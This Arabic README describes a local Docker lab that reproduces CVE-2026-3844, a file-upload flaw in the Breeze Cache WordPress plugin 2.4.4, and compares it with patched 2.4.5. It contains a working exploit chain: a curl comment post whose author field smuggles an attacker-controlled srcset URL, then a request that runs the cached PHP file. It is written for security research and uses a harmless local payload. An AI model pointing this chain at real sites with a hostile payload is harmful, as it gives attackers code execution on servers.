
مختبر Docker محلي فقط لإعادة إنتاج ومقارنة سلوك CVE-2026-3844 في إضافة Breeze Cache الخاصة بووردبريس.
يوضح هذا المستودع السلوك القابل للاستغلال في Breeze Cache 2.4.4 ويقارنه بالسلوك المُصحح في Breeze Cache 2.4.5. يستخدم المختبر خدمتي ووردبريس معزولتين، إحداهما قابلة للاستغلال والأخرى مُصححة، بالإضافة إلى خادم حمولة محلي داخل شبكة Docker.
إثبات المفهوم (PoC) مُصمم ليكون بالحد الأدنى من الضرر: فهو لا يستخدم ويب شيل، ولا يعرض معامل أوامر، ولا يبدأ قشرة عكسية (reverse shell)، ولا يتطلب قراءة ملفات من داخل الحاوية. يعتمد الإثبات على سلوك HTTP قابل للملاحظة من المضيف.
تؤثر ثغرة CVE-2026-3844 على إضافة Breeze Cache لووردبريس حتى الإصدار 2.4.4 وما قبله. مسار الكود القابل للاستغلال مرتبط بميزة التخزين المحلي لصور Gravatar في الإضافة، وتحديدًا تدفق fetch_gravatar_from_remote().
عند تفعيل خيار Host Files Locally - Gravatars في Breeze، يمكن للإصدارات القابلة للاستغلال جلب ملف عن بُعد يتحكم فيه المهاجم وتخزينه تحت دليل ذاكرة تخزين مؤقت عام يمكن الوصول إليه عبر الويب. إذا كان الملف الذي تم جلبه هو PHP، فقد ينفَّذ الملف بواسطة خادم الويب عند طلبه عبر HTTP.
يعيد هذا المختبر إنتاج ذلك السلوك محليًا:
vuln: ووردبريس + Breeze Cache 2.4.4patched: ووردبريس + Breeze Cache 2.4.5payload: خادم حمولة محلي داخل Docker فقطsrcset مُتحكم بهاالنتيجة المتوقعة هي:
http://127.0.0.1:8081 / Breeze 2.4.4 → ملف PHP الإثباتي يتم تخزينه مؤقتًا وتنفيذهhttp://127.0.0.1:8082 / Breeze 2.4.5 → ملف PHP الإثباتي لا يتم تخزينه مؤقتًا/قراءته/تنفيذه.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
تتواصل حاويات ووردبريس مع الحمولة عبر عنوان شبكة Docker:
http://payload:9100/<payload-file>.php
يتحقق المضيف من النتيجة عبر طلبات HTTP عادية إلى خدمات ووردبريس.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locallyلا يمكن الوصول إلى السلوك القابل للاستغلال إلا عند تفعيل التخزين المحلي لـ Gravatar. هذا الخيار معطَّل افتراضيًا في التثبيتات النموذجية، لكن هذا المختبر يفعّله عمدًا لإعادة إنتاج مسار الكود القابل للاستغلال.
في Breeze Cache 2.4.4، يمكن لتدفق توطين Gravatar استخراج عنوان URL بعيد من HTML مرتبط بالصور الرمزية وتمريره إلى fetch_gravatar_from_remote().
يفتقر الإصدار القابل للاستغلال إلى التحقق الكافي حول الملف البعيد:
.phpيُخزَّن الملف الناتج تحت:
/wp-content/cache/breeze-extra/gravatars/
عند حفظ ملف PHP هناك ثم طلبه عبر Apache/PHP، ينفذه الخادم.
في Breeze Cache 2.4.5، يضيف التدفق المُصحح تحققًا يمنع تخزين حمولة هذا المختبر كملف PHP قابل للتنفيذ. في إعادة الإنتاج المحلية، يعمل المحفّز نفسه ضد 2.4.4 لكنه لا يُظهر علامة الإثبات ضد 2.4.5.
يبقي هذا المختبر خادم الحمولة محليًا عمدًا بدلاً من استخدام مضيف حمولة عام.
ترفض download_url() الخاصة بووردبريس وواجهة HTTP API الخاصة بووردبريس بعض أسماء مضيفات Docker الخاصة والمنافذ غير القياسية افتراضيًا. غالبًا ما تستخدم سكربتات الاستغلال العامة عناوين حمولة HTTPS عامة، مما يتجنب ذلك القيد. هذا المختبر لا يفعل ذلك.
لإبقاء إعادة الإنتاج محلية بالكامل، يثبّت سكربت البذر (seed) مساعد MU plugin محليًا صغيرًا يقوم بما يلي:
payload و payload.local80 و 9100لا يقوم هذا المساعد بتعديل الكود المصدري لـ Breeze. تستخدم كل من الخدمة القابلة للاستغلال والمُصححة إصدارات حقيقية من إضافة Breeze مثبتة عبر WP-CLI.
المساعد موجود فقط لجعل مختبر Docker حتميًا ومحليًا فقط.
هذا المستودع مخصص للبحث الأمني المحلي وعرض الأعمال فقط.
ضوابط السلامة:
localhost وخدمات شبكة Dockercmd=تطبع حمولة إثبات المفهوم معلومات وقت تشغيل PHP غير ضارة:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
يُثبت ذلك سياق تنفيذ الكود دون تشغيل أوامر قشرة.
requestsتثبيت تبعية Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
يجب أن يحتوي requirements.txt على:
requests
بناء المختبر وتشغيله:
docker compose down -v --remove-orphans
docker compose up -d --build
فحص حالة الخدمات:
docker compose ps
الخدمات المتوقعة:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
فحص سجلات البذر:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
أسطر السجل المتوقعة:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
التحقق من تثبيت ووردبريس:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
التحقق من إصدارات Breeze:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
المتوقع:
2.4.4
2.4.5
التحقق من الشرط المسبق للثغرة:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
المتوقع:
1
1
التحقق من أن ووردبريس يمكنه جلب خدمة الحمولة المحلية:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
إذا لم يكن proof-cve3844.php موجودًا بعد، أنشئ أي ملف مؤقت في payload/ أو شغّل إثبات المفهوم مرة واحدة.
التشغيل ضد الخدمة القابلة للاستغلال:
python3 poc/poc.py --base-url http://127.0.0.1:8081
النتيجة المتوقعة للنظام القابل للاستغلال:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
مثال على مخرجات الإثبات:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
التشغيل ضد الخدمة المُصححة:
python3 poc/poc.py --base-url http://127.0.0.1:8082
النتيجة المتوقعة للنظام المُصحح:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
لا يُعتبر إعادة التوجيه مثل 301 Moved Permanently إثباتًا. يتطلب إثبات المفهوم ظهور العلامة الفريدة في نص استجابة HTTP.
ينفذ إثبات المفهوم التدفق المحلي التالي:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload.لا يقرأ إثبات المفهوم ملفات من داخل الحاوية المستهدفة. يتم جمع الدليل عبر HTTP من المضيف.
إنشاء حمولة يدوية:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
تأكيد أن خادم الحمولة يقدم الكود المصدري PHP كنص ثابت:
curl -i http://127.0.0.1:9100/manual-proof.php
نشر تعليق على خدمة ووردبريس القابلة للاستغلال:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
تحفيز معالجة Breeze عبر عرض المقال من خلال مضيف عنوان موقع ووردبريس المُهيأ:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
دليل HTML المتوقع:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
طلب ملف PHP المخزن مؤقتًا:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
الإثبات المتوقع للثغرة:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
فحص سجلات الحمولة:
docker compose logs --tail=50 payload
المتوقع:
GET /manual-proof.php HTTP/1.1" 200
| الهدف | إصدار Breeze | النتيجة المتوقعة |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | يتم جلب إثبات PHP وتخزينه مؤقتًا وتنفيذه |
http://127.0.0.1:8082 | 2.4.5 | لا يتم كشف علامة إثبات PHP |
إيقاف وإزالة الحاويات والشبكات ووحدات التخزين:
docker compose down -v --remove-orphans
إزالة ملفات الحمولة المولدة إذا لزم الأمر:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
قاعدة بيانات Patchstack — إضافة Breeze Cache لووردبريس <= 2.4.4 رفع ملفات تعسفي غير مصادق عليه عبر fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 رفع ملفات تعسفي غير مصادق عليه:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
مدونة Wordfence — تغطية الاستغلال النشط لثغرة Breeze Cache:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
صفحة إضافة Breeze Cache:
https://wordpress.org/plugins/breeze/
تنزيلات إضافة ووردبريس المستخدمة في هذا المختبر:
WordPress Plugin Trac — مرجع كود Breeze المصدر، class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
هذا المشروع مخصص للبحث الأمني المحلي المصرح به فقط. لا تشغّل إثبات المفهوم ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
WordPress Plugin Trac — مرجع كود Breeze المُصحح، class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php